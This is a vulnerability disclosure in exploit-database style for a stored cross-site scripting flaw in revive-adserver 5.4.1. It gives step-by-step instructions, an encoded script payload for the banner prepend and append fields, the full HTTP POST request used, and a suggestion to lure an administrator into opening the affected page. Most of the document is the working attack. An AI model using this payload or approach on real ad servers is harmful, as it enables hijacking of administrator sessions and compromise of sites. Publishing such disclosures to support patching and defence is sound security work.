Exploit Title: revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Application: revive-adserver Version: 5.4.1 Bugs: XSS Technology: PHP Vendor URL: https://www.revive-adserver.com/ Software Link: https://www.revive-adserver.com/download/ Date of found: 31-03-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Go to create banner 2. select the advanced section 3. Write this payload in the prepend and append parameters (%3Cscript%3Ealert%281%29%3C%2Fscript%3E) POST /www/admin/banner-advanced.php HTTP/1.1 Host: localhost Content-Length: 213 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: sessionID=5224583cf474cd32d2ef37171c4d7894 Connection: close clientid=3&campaignid=2&bannerid=2&token=94c97eabe1ada8e7ae8f204e2ebf7180&prepend=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&append=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submitbutton=De%C4%9Fi%C5%9Fiklikleri+Kaydet We are sending this link to the admin. then if admin clicks it will be exposed to xss http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2